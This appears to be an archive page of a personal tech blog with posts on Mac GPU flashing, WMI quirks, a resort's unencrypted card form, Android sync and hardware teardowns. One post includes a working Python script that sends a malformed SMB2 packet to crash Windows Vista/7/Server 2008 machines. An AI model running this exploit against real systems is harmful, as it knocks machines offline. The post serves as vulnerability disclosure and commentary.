Press "Enter" to skip to content

Category: computers

ATI Radeon 4870 Flashed For Mac Pro (MacPro1,1)

I’d occasionally been considering picking up a new video card for my Mac Pro (MacPro1,1) to replace my NVIDIA GeForce 7300 GT, but the new ones are very expensive. Typically there are ways to flash PC video cards with Mac-compatible (OF or EFI) firmware, but reliable methods and card versions aren’t always the easiest to find. However, last week I was looking into it and all the pieces came into place, with good flashing instructions and firmware available and a relatively cheap, compatible card appearing on eBay.

First, I ordered two power cables from ATI, Power Cable for Radeon® X1900 MAC G5 Edition. These cables allow one to get PCIe 6-pin power connectors from the Mac Pro mainboard. Most modern video cards require more power than the slot can provide, so these connectors are generally connected directly to a PC’s power supply to provide the extra needs. As Macs tend not to have extra connectors just hanging around in the case, Apple provided the power connectors right on the main board. These cables thus plug right into the main board (Picture) up near the SATA connectors, then connect right to the back of the video card (Picture).

Next I purchased a Sapphire 512MB ATI Radeon HD 4870 from eBay with a winning bid of $110 (Auction Mirror). This shipped quite quickly, and arrived in great shape with all the original retail box items, which was a pleasant surprise.

After getting the card and the cables, it was time to install it and flash it. To do this I followed Alexandre Boeglin’s article entitled How to flash a PC 4870 for a Mac Pro, using only Mac OS X. I’ll recap the steps that I performed here:

· Acquire the iMac Graphics FW Update 1.0.2 and use Pacifist to extract ATIFacelessFlash.app and ATIROMFlasher.kext from it. This will be used as an OS X native ATI video card flasher for doing the firmware update.
· Acquire the appropriate firmware. I used sapp-512-4870.rom from this MacRumors: Forums post. If you don’t have a 512MB Sapphire ATI Radeon HD 4870 you will likely need to find another or make your own firmware image.
· Remove all the .ROM files in .../ATIFacelessFlash.app/Contents/Resources and put your .ROM file in there.
· Ensure that ATIROMFlasher.kext will load. The command sudo kextutil -nt ATIROMFlasher.kext is useful for this, and you’ll likely have to do sudo chown -R root:wheel ATIROMFlasher.kext and sudo chmod -R 644 ATIROMFlasher.kext to get it loading.
· Once the .kext is loading and ATIFacelessFlash.app is prepped, shut off the computer, move your old video card up one slot, and install the new one in Slot 1 as shown in this picture.
· Boot the computer with the monitor connected to your old video card. Load the kernel extension for the flashing (sudo kextload ATIROMFlasher.kext), then run the flash utility: sudo open ATIFacelessFlash.app.
· Shut down your computer, pull the old card, and boot up with the monitor connected to the new one. Everything should work great, and you should now have an ATI Radeon HD 4870 for Mac.

After the flashing is done, System Info showed the following under Graphics/Displays:

ATI Radeon HD 4870:
  Chipset Model: ATI Radeon HD 4870
  Type: GPU
  Bus: PCIe
  Slot: Slot-1
  PCIe Lane Width: x16
  VRAM (Total): 512 MB
  Vendor: ATI (0x1002)
  Device ID: 0x9440
  Revision ID: 0x0000
  ROM Revision: 113-B7710C-176
  EFI Driver Version: 01.00.318

Now that the upgrade is done I can run Google Earth with all the quality settings turned up. I also did a quick compare with two graphics benchmarks, CINEBENCH and OpenMark. With the old card on CINEBENCH I got a score of 3380, and with the new one 5427. Under OpenMark, which seems to test OpenGL, I went from a score of 8520 to 22579.

Having a fan the new card is slightly louder than I’d like, but I was a bit spoiled before with the old fanless card. I’ll try and investigate a way to quiet this one down, but all things said it is still quite quiet. If it ends up being a bit much I can always sell the card with its Mac firmware upgrade for at least as much as I paid.

If you’d like to see a few more pictures, they are all available in this album entitied ATI Radeon HD 4870 in Mac Pro.

8 Comments

Changing Win32_OperatingSystem.LastBootupTime Result on XP SP2 after Stand-By or Hibernate

On Windows XP one can use WMI to determine when the computer booted up by querying root/cimv2/Win32_OperatingSystem.LastBootupTime. This will return a result in CIM_DATETIME format indicating the time the computer booted up. However, while researching some things yesterday I found that on XP SP2 this changes if a user logs out, puts the computer in a Hibernate or Stand-by mode, wakes the computer, then queries this value.

Here’s results of this query after a few different scenarios:

Initial Query: 20090910130529.109375-240
After Logoff / Logon: 20090910130529.109375-240
After Hibernate / Wake while Logged In: 20090910130529.109375-240
After Logoff / Hibernate / Wake / Login: 20090910131221.162894-240
After Logoff / Stand By / Wake / Login: 20090910131718.006644-240

This was quite unexpected, because Microsoft’s documentation on the Win32_OperatingSystem class states that LastBootUpTime contains “Date and time the operating system was last restarted.”, and Hibernate or Stand By shouldn’t constitute a restart.

This behavior was not observed on XP SP3. Per 946480: List of fixes that are included in Windows XP Service Pack 3 this was not something fixed, but it does appear to have changed. If you would like to demonstrate this for yourself, use the following VBScript (or download it from here: getlastbootuptimetest.vbs) to easily read out Win32_OperatingSystem.LastBootUpTime:

Leave a Comment

MS09-0??

As is normal for a Patch Tuesday, Microsoft released a bunch of patches. Unfortunately, none of them fix a vulnerability in SMB2 on Vista, 7, or Server 2008 which allows easy remote BSODs using a single packet. This code below, which works under Python 2.6 on Windows, was very slightly adapted from this post to Full Disclosure.

import socket
host = "127.0.0.1", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.send(buff)
s.close()

UPDATE: Microsoft has posted 975497 – Vulnerabilities in SMB Could Allow Remote Code Execution which states:

Microsoft is investigating new public reports of a possible vulnerability in Microsoft Server Message Block (SMB) implementation. We are not aware of attacks that try to use the reported vulnerabilities or of customer impact at this time.

I’m not sure how they define attack, but that BSOD above sure looks like one and making something quick to hit whole subnets in a go would be trivial.

UPDATE 2: This was fixed on 13-Oct-2009 in MS09-050.

Leave a Comment

Garland Resort’s Website is Very Insecure

Next month I’m going to be attending a wedding at Garland Resort in Michigan’s northern Lower Peninsula. When reserving a hotel room there I noticed that not only was the reservation system using plain old http, the form which accepts a credit card number is insecure. It then again uses HTTP when submitting the form:

<form name='frmRes1' method='post' Action='CCard1.asp?IRM=yes&BtrvID=4249' onSubmit='return NextPage()'>

Here’s an excerpt from a network capture of me submitting a page full of garbage info:

POST http://65.123.67.67/irm/CCard1.asp?IRM=yes&BtrvID=4249 HTTP/1.1\r\n

Line-based text data: application/x-www-form-urlencoded
    [truncated] firstname=Test&phone1=987-555-1212&lastname=User&phone2=&address1=12345+No+Street&sob=WI&address2=&ccname=AMEX&city=Default&ccnum=1234567812345678&state=AZ&ccexp=01%2F12&zip=99901&cardid=555&country=&email=test%40example.com&pa

See that last line there? In case you don’t know, the & sign delineates the fields, and it’s a simple valuename=value pair. Therefore, ccnum=1234567812345678 is the garbage credit card number I submitted, cardid is the CVV2, ccexp is the expiration date, etc. This is very definitely not PCI compliant and is a thief’s dream if the victim were submitting this form across a sniffable public network.

Suffice to say, I phoned in my reservation. This is obviously not an ideal solution either, but at least I didn’t use that crap.

Leave a Comment

Python Is Interesting

Yes, I’m very late to the party, but as I’ve been hearing quite a bit about how useful Python (Wikipedia) is, I’ve spent some spare time over the last week giving it a look. As was suggested by some friends I started with Python 2.6.2, which is the latest version of the previous branch of the language. (There is also a 3.0 branch, but it’s my understanding that it’s not yet widely used and is sufficiently different from the previous version that it’s best to start at 2.6.2.)

After going through most of the very nice official Python tutorial I began playing with Windows-specific things, most notably Tim Golden’s WMI Module, which seems to work quite well. I still have to get more comfortable with the language, but thus far I’ve had no problems reimplementing many of the basic scripts that I’ve written at work to automate random little tasks.

2 Comments

Trashwall Is Dead

Yesterday while at work Danielle informed me that she was unable to reach the internet from my house. SSHing into Trashwall showed that while it could talk to the public network, for some reason it couldn’t talk internally. I figured that a quick reboot might be worth trying, but after that it never came back. Watching the console yesterday showed it dumping core while booting, and that the system’s time had been reset to the epoch. Hopefully this is just a case of the PRAM battery having failed. It’s a SAFT LS 14250 C, which is thankfully easy to find. Out of the system the battery reads 3.6V, which is normal for it, but it’s possible it’s right on the edge.

I think that after replacing the battery and getting Open Firmware properly set back up I’ll look at replacing it’s el-cheapo 2GB Compact Flash drive with an actual hard disk. The extra space will allow me to run Cacti, which I think would be pretty nifty to use for logging per-device bandwidth use, wireless network stats, and things like that.

Currently my house is running just-fine on an AirPort Extreme which works well, but is a bit limited feature-wise. It’s really nifty that it supports IPv6 and all, but that’s not something that I currently use. If I’m not able to get Trashwall (that is, the Mac with the many-port NICs and such) going again, I’ll have to figure out something else for network connectivity at home. I really like the idea of a ultra-quiet OpenBSD box handling everything, but I’ll have to find (and silence) a PC in order to do the same thing. That might take a lot of effort.

UPDATE: Trashwall was fixed by fitting a new hard disk, replacing the PRAM battery, restoring the OpenFirmware settings, and installing OpenBSD 4.6. Everything is working great again.

Leave a Comment

Google Android (T-Mobile G1) Hanging Sync Problem Resolved

On Google Android, running on my T-Mobile G1, there is a icon which appears in the notification bar whenever the phone is syncing Gmail, Calendar, Contacts, etc. Typically this icon only appears for a second or two and then goes away. However, a week or so ago I began noticing that my G1’s battery was being completely exhausted at least daily, and quite often I’d pick up the phone to find it very hot with the sync icon stuck on. The warmth seemed to be caused by the radio being constantly in use for extended periods of time as sync tried to occur. While I could deal with the sync not always working right or my having to cancel an in-progress sync, having to charge the phone a few times per day was becoming a big problem.

My short-term workaround was to leave the phone on the charger overnight and allow it to sync then, which seemed to work. However, this was obviously not a solution. Yesterday I finally took time to look into the problem. To start, if I entered Settings → Data Synchronization, the Application sync settings portion would often indicate that sync hadn’t occurred for a day or two. When I manually initiated a sync I noticed that while Gmail and Contacts synced and completed reasonably fast (a few seconds each), the Calendar sync seemed to start and stop repeatedly, never finishing during the time I watched it.

Signing into Google Calendar, which I don’t do very often, showed the error above, stating that …this is not a Calendar user: http://www.google.com/calendar/feeds/adsense-calendar@google.com/public/basic. This calendar is a Google AdSense calendar found on this page within the AdSense help documentation, entitled How do I subscribe to the AdSense Calendar. After removing the entry for this seemingly broken calendar from my Other calendars list I initiated another sync from the phone (Settings → Data Synchronization → MENU → Sync now) and it all syncing completed within 30 seconds.

If one visits the page from which the aforementioned AdSense calendar is linked, the link is still active, but attempting to add the calendar results in this error. Since I’d added this calendar without error a while ago, I suspect that once it became unavailable the phone was unable to promptly complete a calendar sync, having to wait for something to time out before it could complete. Unfortunately, until this timeout the radio was active, which ate battery and caused the phone to warm up.

5 Comments

NetOptics Passive 10/100 Ethernet Port Aggregator Tap Disassembly

Top/front view of the NetOptics Passive 10/100 Port Aggregator Tap.

Today I received a rather nifty device, an older-model Passive 10/100 Ethernet Port Aggregator Tap (PA-CU) from NetOptics. This device allows one to monitor both halves of a full-duplex 10/100 network connection at once, with only one capture device, which is rather nifty.

It was delivered quite early this morning by FedEx, and upon opening the box I saw that it was practically new, with the power supply shipping bags still sealed. There was no documentation, but this was easy enough to find online, and only consists of jumpers whose settings are silkscreened on the top of the enclosure.

After trying it out today I decided that it would be good to open it up and see what is inside. As this photo shows it is basically their older PCI aggretator tap repackaged into a rather nice metal housing. This board contains a FPGA, a bunch of SRAM, a PIC, and some currently unidentified (but well heatsinked) processors.

If you’d like to see more photos of the inside of the tap, they are all available here: NetOptics Passive 10/100 Ethernet Port Aggregator Tap.

2 Comments

Building AVRDUDE Under OS X

NOTE: This doesn’t work right. See this update.

Since I don’t do much software development, it took me a bit to understand how to get AVRDUDE to compile with libusb under OS X. These steps here have been confirmed to work for AVRDUDE v5.5 and v5.6:

– Install libusb from MacPorts: sudo port install libusb
– Extract the AVRDUDE source, change to that directory.
– Set CPPFLAGS so the libusb headers can be found: CPPFLAGS="-I/opt/local/include" && export CPPFLAGS
– Set LDFLAGS so the libusb libraries can be found: LDFLAGS="-L/opt/local/lib" && export LDFLAGS
– In the AVRDUDE source directory, run configure as the MacPorts version does: ./configure --mandir=${prefix}/share/man
– Build it: make
– Win!

UPDATE: This doesn’t actually work. It builds, but attempting to access the AVR Dragon returns the following error: avrdude: jtagmkII_getsync(): sign-on command: status -1. This also occurs with the version of AVRDUDE in MacPorts, making me wonder what exactly the AVR MacPack folks had to do to make it build properly for OS X.

1 Comment

Micro Center Customer Service: Win!

A bottle of Bawls for a coworker and a clearance USB SATA disk enclosure for Danielle. The disk enclosure turned out to be missing screws.

Today at lunch I headed over to Micro Center to return some parts and purchase a 2.5″ SATA to USB 2.0 disk enclosure for Danielle’s old hard drive and a bottle of Bawls which I cowrker asked me to pick up for him. I was fortunate (or so I thought) to find the disk enclosure I wanted for $11.96, on clearance because it’d been returned. It was listed as complete and a quick peek inside the package showed that all parts seemed to be there, so I purchased it.

Once I got out to the car (where I snapped that photo) I opened up the box again, but found the enclosure to be missing the screws used for holding the chassis together. Making the enclosure essentially unusable I went back inside, to the same Customer Service person who had returned my previous items, and explained to her that despite saying complete it was actually missing parts. She ended up just doing a like-for-like swap, resulting in my acquiring a brand new enclosure for the clearance price. The difference is only a few dollars, but it was still nice.

This, combined with my original return and previous customer service experiences at Micro Center lead me to believe that, contrary to their terribly inaccurate, misinformed, and misleading commissioned sales people, the customer service folks seem to be pretty okay to deal with.

Leave a Comment